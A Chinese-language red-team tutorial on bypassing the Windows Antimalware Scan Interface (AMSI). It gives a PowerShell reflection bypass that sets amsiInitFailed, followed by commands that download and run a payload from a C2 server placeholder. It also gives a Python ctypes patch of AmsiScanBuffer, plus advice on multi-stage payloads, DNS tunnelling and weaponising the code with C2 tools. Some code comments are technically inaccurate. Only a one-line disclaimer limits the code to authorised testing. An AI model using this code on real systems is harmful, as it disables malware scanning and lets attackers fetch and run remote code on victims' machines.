一、AMSI的“守门人”身份引发的攻防思考
Windows 的反恶意软件扫描接口(AMSI,Antimalware Scan Interface)是现代防御中极为重要的一环,它负责拦截恶意脚本的执行,并将其内容传递给防病毒引擎做实时检测。无论是 PowerShell、VBScript,还是 JavaScript,只要是通过 Windows 系统的脚本运行环境执行,都难逃 AMSI 的扫描。
从攻击者的视角来看,绕过 AMSI 是绕过防御的关键一步。像 Cobalt Strike 的内存加载器和 Metasploit 的模块,很多情况下都会因为 AMSI的拦截而被识别阻止。因此,深入理解 AMSI绕过的技术是红队活动中的必备技能。
接下来,我们将从攻击原理到代码实现,逐步揭开绕过 AMSI的方法,带你走进攻击者的思维世界。
---
二、探查AMSI的攻击入口
在对 AMSI 进行绕过时,首先需要明确它的工作机制。AMSI 的核心是依赖 DLL(动态链接库)文件注入当前运行的脚本进程,这个 DLL 是 amsi.dll,它会劫持脚本运行环境中的相关函数,比如 PowerShell 的 Add-Type 或脚本解释器 ScriptBlock 等。
核心拦截点
AMSI 的核心工作:
- 拦截脚本内容,调用
AmsiScanBufferAPI 进行扫描。 - 将脚本内容发送给系统的防病毒软件,比如 Defender。
- 如果检测到恶意内容,阻止脚本运行。
攻击者的目标很明确:要么直接绕过 AmsiScanBuffer,要么伪造返回值让 AMSI认为脚本是安全的。
---
三、环境搭建:模拟目标与工具准备
为了复现绕过,首先我们需要一个相对稳定的攻击环境。以下是环境搭建的详细步骤:
环境清单
- 目标系统: Windows 10/11,启用 Windows Defender。
- 工具: Python 3.x、PowerShell(版本 5.1 或更高)、Visual Studio Code。
配置步骤
- 确认目标是否启用了 AMSI:
在 PowerShell 中执行以下命令: <pre><code class="language-powershell"> [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils") | Get-Member -Static ` 如果返回了 amsi.dll 的相关信息,说明 AMSI正在工作。
- 安装 PowerShell 工具:
确保目标系统的 PowerShell模块可以正常运行,安装常见工具,比如: `powershell Install-Module -Name PowerSploit -Force `
- 准备攻击代码:
在代码文件目录中准备要测试的绕过代码,后续章节会提供详细的实现。

---
四、攻击代码:绕过AMSI,伪造安全结果

找到攻击入口后,我们开始正式构造绕过代码。这里以两种语言实现:PowerShell 和 Python。
方法一:使用 PowerShell 绕过 AMSI
PowerShell 的动态内存操作为绕过 AMSI提供了便利。以下代码通过覆盖 amsi.dll 的返回值,让其认为所有脚本是安全的。 </code></pre>powershell
修改 AmsiScanBuffer 的返回值为 1,即安全
$amsiUtils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') $amsiField = $amsiUtils.GetField('amsiInitFailed', 'NonPublic, Static') $amsiField.SetValue($null, $true)
加载恶意代码(可根据需求替换成你的载荷)
Write-Host "AMSI绕过完成,加载恶意脚本..." Invoke-WebRequest -Uri "http://your-c2-server/payload.ps1" -OutFile "payload.ps1" Invoke-Expression -Command (Get-Content -Path "payload.ps1") <pre><code> 解释:
amsiInitFailed是 AMSI 初始化的关键字段,将其设置为$true就能禁用 AMSI。- 后续恶意代码可以正常执行,比如从 C2 下载的脚本。
---
方法二:使用 Python 绕过 AMSI
Python 可以通过直接操作内存来完成更底层的绕过,以下代码示例展示了如何利用 ctypes 和内存操作禁用 AMSI。 </code></pre>python import ctypes
def disable_amsi():
加载 amsi.dll
amsi = ctypes.windll.kernel32.LoadLibraryW("amsi.dll")
获取 AmsiScanBuffer 的地址
amsi_scan_buffer = ctypes.windll.kernel32.GetProcAddress(amsi, "AmsiScanBuffer")
重写 AmsiScanBuffer 的地址内容为 0x00
这会导致所有扫描操作被禁用
patch = ctypes.c_char * 1 patch_content = patch(b'\x00') ctypes.memmove(amsi_scan_buffer, patch_content, 1)
disable_amsi()
测试恶意代码
print("AMSI 已被禁用,运行恶意载荷...") exec("import os; os.system('whoami')") `
解释:
ctypes.windll.kernel32.LoadLibraryW加载了amsi.dll。- 通过
GetProcAddress获取了AmsiScanBuffer的地址,并覆盖为不可执行的内容。

---
五、绕过后的防御对抗与思路分享
绕过 AMSI并不意味着目标完全失去防御能力,攻防中仍需注意以下两点:
防御方的监控
- 行为监控: Defender 的行为检测模块仍可以监控恶意行为,比如异常的网络请求。
- 内存扫描: 许多现代 EDR 能够直接扫描内存,发现被修改的
AmsiScanBuffer。
红队的对抗技巧
- 多阶段载荷: 将恶意代码分成多个阶段加载,做深度免杀处理。
- 流量伪装: 通过 DNS隧道或 HTTPS流量传输恶意脚本,规避流量监控。
---

六、经验总结:攻击中的隐秘与优雅
绕过 AMSI的核心在于理解其机制,找到拦截点并构造合适的攻击代码。每次攻击都需要根据目标环境不断调整,以下是几点实战经验:
- 动态调整: AMSI绕过代码可能在不同 Windows版本上略有差异,要学会快速适配。
- 武器化: 可将以上代码封装成模块,结合 C2工具实现自动化攻击。
- 对抗细节: 如果目标有强大的 EDR,考虑同时进行流量隐藏和行为伪装。
声明:本文所有代码仅用于授权测试,切勿用于非法用途!